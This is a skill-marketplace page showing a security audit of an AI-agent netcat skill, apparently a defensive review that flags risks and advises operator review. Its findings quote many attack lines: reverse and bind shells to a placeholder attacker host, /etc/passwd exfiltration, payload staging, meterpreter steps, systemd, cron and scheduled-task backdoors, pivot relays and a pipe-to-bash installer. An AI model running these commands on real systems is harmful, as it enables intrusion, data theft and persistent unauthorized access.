Skills network-netcat
📦
network-netcat
v0.1.0 Content revision r1 Critical ⚙️ External commands🌐 Network access📁 Filesystem access🔑 Env variables⚡ Contains scripts
Audit Netcat Network Testing Workflows
Network testers need clear netcat workflows for connectivity checks and controlled validation. This skill organizes netcat commands, authorization steps, and documentation guidance.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "network-netcat" from https://skillstore.io/skills/agentsecops-network-netcat.md and its manifest at https://skillstore.io/api/skills/agentsecops-network-netcat/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "network-netcat". I need to test whether approved application ports are reachable between two internal hosts.
Expected outcome:
- A scope checklist with source host, destination host, ports, owner, and approval record.
- A test matrix that separates TCP checks, UDP checks, expected outcomes, and evidence notes.
- A cleanup and reporting section for timestamps, command records, and reviewer sign-off.
Using "network-netcat". I need to review suspicious netcat activity found in endpoint logs.
Expected outcome:
A triage summary with likely intent, affected hosts, process indicators, network indicators, containment steps, and follow-up evidence requests.
Using "network-netcat". I need to evaluate a proposed netcat file transfer in a restricted lab.
Expected outcome:
- A risk review covering data sensitivity, encryption, destination control, retention, and audit logging.
- A recommendation to use approved transfer tooling when business controls require stronger identity or integrity guarantees.
Security Audit
Criticalv10 • 7/9/2026 Open versioned report
The main SKILL.md contains explicit reverse shell, bind shell, payload staging, data exfiltration, persistence backdoor, Metasploit, and relay guidance. CI and reference-template findings are mostly documentation false positives, except the CI pipe-to-shell installer. Because core skill intent enables unauthorized access and persistence if misused, the audit confirms high and critical marketplace risk.
6
Files scanned
2,096
Lines analyzed
45
Review items
0
False positives ignored
Confirmed security concerns (24)
Critical
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template downloads a remote installer script and pipes it directly to bash. This creates a supply-chain execution risk because remote content runs without pinning or verification.
Critical
Shell backdoor keywords
tags: [networking, netcat, reverse-shell, file-transfer, port-scanning, banner-grabbing]
The metadata advertises reverse-shell and backdoor-related capabilities. This accurately reflects the main skill content and is a real marketplace risk.
Critical
Metasploit framework
### Metasploit Integration
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
Critical
Metasploit framework
# Metasploit session backgrounding and netcat shell
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
Critical
Metasploit framework
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
Critical
Metasploit framework
meterpreter > upload /usr/bin/nc /tmp/nc
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
Critical
Metasploit framework
meterpreter > shell
The section gives Metasploit and meterpreter post-exploitation steps for executing or uploading netcat shells. That is operational offensive guidance.
Critical
Malware type keywords
### Pattern 4: Persistent Backdoor (Authorized Testing)
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
Show all 24 confirmed findings
Critical
Malware type keywords
cat > /etc/systemd/system/netcat-backdoor.service <<EOF
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
Critical
Malware type keywords
systemctl enable netcat-backdoor.service
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
Critical
Malware type keywords
systemctl start netcat-backdoor.service
The matched text is in a persistent backdoor workflow that creates and starts a systemd service. This is explicit maintained-access guidance.
Critical
System password file access
cat /etc/passwd | nc <attacker-ip> 5555
The command pipes /etc/passwd through netcat to an attacker host under a data exfiltration heading. This is direct sensitive file exfiltration guidance.
Critical
Systemd service enablement
systemctl enable netcat-backdoor.service
The command enables a systemd service named netcat-backdoor. It establishes Linux persistence for a remote shell.
Critical
Windows scheduled task creation
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru
The command creates a Windows scheduled task that runs ncat with cmd.exe at startup. This is Windows persistence for remote command execution.
Critical
[HEURISTIC] SUSPICIOUS COMBINATION: Code execution + Persistence mechanism
This combination is common in malware that maintains access
The skill combines shell execution guidance with persistence examples such as systemd, cron, and scheduled tasks. This maintained-access pattern is confirmed by the reverse shell and backdoor sections in SKILL.md.
Critical
Reverse And Bind Shell Runbooks
SKILL.md gives Linux, Windows, Python, PowerShell, and named-pipe workflows for reverse shells, bind shells, and PTY upgrades.
The section headings and commands explicitly describe reverse shells, bind shells, and interactive shell upgrades across platforms.
Critical
Data Exfiltration Instructions
SKILL.md includes a dedicated data exfiltration pattern for sensitive files, database dumps, and web directories sent to an attacker listener.
The heading and examples directly label the workflow as data exfiltration and include sensitive file transfer over netcat.
Critical
Persistence Backdoor Setup
SKILL.md provides Linux systemd, cron, and Windows scheduled task examples to keep netcat shell access running after reboot.
The section is titled persistent backdoor and includes service enablement, cron persistence, and scheduled task creation.
High
Malware type keywords
transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and
The matched text describes backdoor communication, persistence cleanup, or removal after engagement. In context, it confirms that the workflow includes creating shell and backdoor artifacts.
High
Malware type keywords
[ ] 8. Remove any backdoors or persistence mechanisms
The matched text describes backdoor communication, persistence cleanup, or removal after engagement. In context, it confirms that the workflow includes creating shell and backdoor artifacts.
High
Malware type keywords
- **Cleanup**: Remove all shells, listeners, and backdoors post-engagement
The matched text describes backdoor communication, persistence cleanup, or removal after engagement. In context, it confirms that the workflow includes creating shell and backdoor artifacts.
High
Network scanning tools
Simple port scanning (note: nmap is more comprehensive):
The line introduces netcat port scanning. Network scanning is legitimate with authorization but remains a real reconnaissance capability.
High
Relay, Pivot, And Covert Channel Guidance
SKILL.md describes relays through compromised hosts, pivot chains into internal services, and simple covert communication channels.
The text explicitly names compromised hosts, internal network relays, pivot chains, and covert communication with netcat listeners.
Medium
System reconnaissance
echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80
The request tests command execution over HTTP using netcat and a cmd=id parameter. It is exploit validation guidance and can be abused against unauthorized targets.
Capability review items (45)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Process spawn
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
Critical
Process spawn
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
Critical
Process spawn
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
Critical
Python subprocess.call
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
The Python one-liner opens a socket to an attacker host and launches an interactive shell through subprocess.call. This is a complete reverse shell payload.
Critical
Python PTY spawn (shell access)
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
Critical
Python PTY spawn (shell access)
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
Critical
Python PTY spawn (shell access)
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY after shell access. This materially improves an obtained shell and supports unauthorized interactive control if misused.
Critical
PowerShell invocation
# PowerShell reverse shell
The PowerShell example creates a TCP client, executes received commands, and writes command output back to the remote host. This is a Windows reverse shell pattern.
Critical
PowerShell invocation
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream
The PowerShell example creates a TCP client, executes received commands, and writes command output back to the remote host. This is a Windows reverse shell pattern.
Critical
Windows cmd.exe
ncat.exe <attacker-ip> 4444 -e cmd.exe
The ncat command exposes cmd.exe through a network connection. This provides remote command execution on Windows if used outside a controlled lab.
Critical
Windows cmd.exe
ncat.exe -lvnp 4444 -e cmd.exe
The ncat command exposes cmd.exe through a network connection. This provides remote command execution on Windows if used outside a controlled lab.
Critical
Windows cmd.exe
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru
The schtasks command configures a Windows startup task that runs ncat with cmd.exe. This creates persistent remote command execution.
Critical
Unix shell invocation
nc <attacker-ip> 4444 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
python -c 'import pty; pty.spawn("/bin/bash")'
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
nc -lvnp 4444 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
Critical
Unix shell invocation
(crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
Critical
Unix shell invocation
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
ncat <attacker-ip> 4444 -e /bin/bash
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Unix shell invocation
while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
Critical
Unix shell invocation
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
The command launches or repeatedly reconnects a bash shell through netcat. In this context it enables persistent remote shell access.
Critical
Unix shell invocation
python -c 'import pty; pty.spawn("/bin/bash")'
The command invokes /bin/bash or /bin/sh through netcat, ncat, Python, or named pipes. This is direct remote shell access guidance.
Critical
Temp directory access
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
Critical
Temp directory access
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
Critical
Temp directory access
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
Critical
Temp directory access
chmod +x /tmp/stage2.sh
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
Critical
Temp directory access
/tmp/stage2.sh
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
Critical
Temp directory access
meterpreter > upload /usr/bin/nc /tmp/nc
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
Critical
Temp directory access
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
Critical
Temp directory access
rm /tmp/f; mkfifo /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
Critical
Temp directory access
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The /tmp usage is part of named-pipe reverse shells, staged payload execution, or uploaded netcat binaries. Those workflows enable remote shell access and payload staging.
High
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The hardcoded GitHub URL is used in a live install command that executes downloaded content. The network access is risky because it is coupled to pipe-to-shell execution.
High
Unix shell invocation
export SHELL=/bin/bash
The export sets the shell environment during a PTY upgrade. It is part of an interactive reverse-shell stabilization workflow.
High
Hardcoded IP address
nc -lvnp 9090 -c "nc 192.168.1.100 3389"
The private IP appears in a pivot-chain example that relays traffic from a compromised host to an internal RDP service. The risk is the documented pivoting workflow, not the example address itself.
High
Standard device file access
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
The device redirection appears in a payload staging or reconnecting reverse-shell workflow. It helps suppress input or errors while transferring or running shell payloads.
High
Standard device file access
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
The device redirection appears in a payload staging or reconnecting reverse-shell workflow. It helps suppress input or errors while transferring or running shell payloads.
Medium
Shell command substitution
LOG_DIR="shells/$(date +%Y%m%d)"
The substitution is inside an automated reverse-shell catcher that creates timestamped shell logs. The surrounding workflow is remote shell handling, not routine scripting.
Medium
Shell command substitution
TIMESTAMP=$(date +%H%M%S)
The substitution is inside an automated reverse-shell catcher that creates timestamped shell logs. The surrounding workflow is remote shell handling, not routine scripting.
Medium
Unix shell invocation
#!/bin/bash
The shell shebang starts an automation script that catches and logs reverse-shell sessions. It supports the shell-handling workflow described in the same section.
Risk Factors
⚙️ External commands (50)
assets/ci-config-template.yml:298 assets/ci-config-template.yml:301 assets/ci-config-template.yml:304 assets/ci-config-template.yml:307 assets/ci-config-template.yml:310 assets/ci-config-template.yml:134 assets/ci-config-template.yml:250 assets/ci-config-template.yml:291 SKILL.md:198 SKILL.md:199 SKILL.md:531 SKILL.md:182 SKILL.md:198 SKILL.md:199 SKILL.md:531 SKILL.md:34-46 SKILL.md:46-77 SKILL.md:77-89 SKILL.md:89-100 SKILL.md:100-115 SKILL.md:115-119 SKILL.md:119-131 SKILL.md:131-137 SKILL.md:137-151 SKILL.md:151-164 SKILL.md:164-170 SKILL.md:170-174 SKILL.md:174-192 SKILL.md:192-196 SKILL.md:196-205 SKILL.md:205-212 SKILL.md:212-221 SKILL.md:221-224 SKILL.md:224-226 SKILL.md:226-237 SKILL.md:237-240 SKILL.md:240-243 SKILL.md:243-249 SKILL.md:249-253 SKILL.md:253-259 SKILL.md:259-263 SKILL.md:263-271 SKILL.md:271-277 SKILL.md:277-287 SKILL.md:287-293 SKILL.md:293-303 SKILL.md:303-307 SKILL.md:307-313 SKILL.md:313-319 SKILL.md:319-325
🌐 Network access (24)
assets/ci-config-template.yml:240 assets/rule-template.yaml:43 assets/rule-template.yaml:44 assets/rule-template.yaml:45 assets/rule-template.yaml:73 assets/rule-template.yaml:118 assets/rule-template.yaml:119 assets/rule-template.yaml:151 assets/rule-template.yaml:191 assets/rule-template.yaml:192 assets/rule-template.yaml:193 assets/rule-template.yaml:217 assets/rule-template.yaml:260 assets/rule-template.yaml:261 assets/rule-template.yaml:288 SKILL.md:18 SKILL.md:19 SKILL.md:562 SKILL.md:563 SKILL.md:564 SKILL.md:565 SKILL.md:566 SKILL.md:309 SKILL.md:104
📁 Filesystem access (13)
🔑 Env variables (23)
assets/ci-config-template.yml:164 assets/rule-template.yaml:148 assets/rule-template.yaml:148 assets/rule-template.yaml:147 assets/rule-template.yaml:162 assets/rule-template.yaml:132 assets/rule-template.yaml:147 assets/rule-template.yaml:148 assets/rule-template.yaml:156 assets/rule-template.yaml:157 assets/rule-template.yaml:162 assets/rule-template.yaml:163 assets/rule-template.yaml:164 assets/rule-template.yaml:165 references/EXAMPLE.md:423 references/EXAMPLE.md:423 references/EXAMPLE.md:424 references/EXAMPLE.md:425 references/EXAMPLE.md:427 references/EXAMPLE.md:430 references/EXAMPLE.md:432 references/EXAMPLE.md:437 references/EXAMPLE.md:444
⚡ Contains scripts (2)
Detected Patterns
Pipe to shell patternShell backdoor keywordsMetasploit framework×5Malware type keywords×7System password file accessSystemd service enablementWindows scheduled task creationSystem reconnaissanceNetwork scanning tools
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/agentsecops-network-netcat/audits/10?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/agentsecops-network-netcat?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/agentsecops-network-netcat?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/agentsecops-network-netcat/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/agentsecops-network-netcat.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
AgentSecOps. (2026). network-netcat security audit report (audit version 10) [Author version 0.1.0]. Skillstore. https://skillstore.io/skills/agentsecops-network-netcat/audits/10BibTeX citation
@techreport{agentsecops-agentsecops-network-netcat-2026,
author = {AgentSecOps},
title = {network-netcat security audit report (audit version 10)},
institution = {Skillstore},
year = {2026},
number = {10},
url = {https://skillstore.io/skills/agentsecops-network-netcat/audits/10},
note = {Author version 0.1.0}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "network-netcat security audit report (audit version 10)"
version: "0.1.0"
type: report
authors:
- name: "AgentSecOps"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/agentsecops-network-netcat/audits/10"
identifiers:
- type: other
value: "skillstore:agentsecops-network-netcat:audit:10"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
100
Maintainability
87
Content
73
Community
87
Spec Compliance
What You Can Build
Validate Network Reachability
Plan approved TCP and UDP checks between known hosts, then record evidence for firewall or segmentation reviews.
Prepare Authorized Lab Testing
Organize netcat test steps, logging, and cleanup tasks before running controlled exercises in a lab.
Review Netcat Detection Coverage
Map netcat behaviors to process, network, and command-line indicators for monitoring and response planning.
Try These Prompts
Review Netcat Scope
Help me build a pre-test authorization checklist for netcat connectivity checks on [system]. Include scope, contacts, logging, and cleanup.
Plan Connectivity Tests
Create a controlled TCP and UDP connectivity test plan for [environment]. Use only in-scope hosts and include documentation steps.
Assess Relay Risks
Review this proposed netcat relay or file transfer workflow for [lab]. Identify risks, controls, logs, and safer alternatives.
Harden Detection Coverage
Build a detection and response plan for netcat reverse shell and persistence indicators in [environment]. Include SIEM fields and containment steps.
Best Practices
- Get written authorization and confirm in-scope targets before any netcat activity.
- Use isolated labs or approved internal systems for offensive validation.
- Document commands, timestamps, transferred files, results, and cleanup evidence.
Avoid
- Running netcat against public or unapproved targets.
- Creating shells, relays, or persistence outside a controlled engagement.
- Moving sensitive files without approval, encryption, and audit logging.
Frequently Asked Questions
Is this skill only for defensive use?
No. It includes offensive netcat examples, so use it only with explicit authorization and clear scope.
Can Claude, Codex, or Claude Code run these commands automatically?
The skill provides guidance. Users must enforce approval, sandboxing, and tool permissions before any command execution.
Does this replace Nmap or a full scanner?
No. Netcat is useful for quick checks, but dedicated scanners provide richer discovery and service fingerprinting.
What evidence should I record?
Record authorization, target scope, timestamps, commands, source and destination hosts, transferred files, and cleanup results.
What is the safest way to use this skill?
Use it in a lab or approved internal environment with logging, supervision, and rollback procedures.
Why is this skill high risk?
It documents shells, relays, file transfers, and persistence patterns that can support unauthorized access if misused.
Developer Details
Author
AgentSecOpsLicense
MIT
Author version
v0.1.0
Skillstore revision
r1
Ref
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Maintenance freshness
7/18/2026
Usage
6 downloads · 399 views
File structure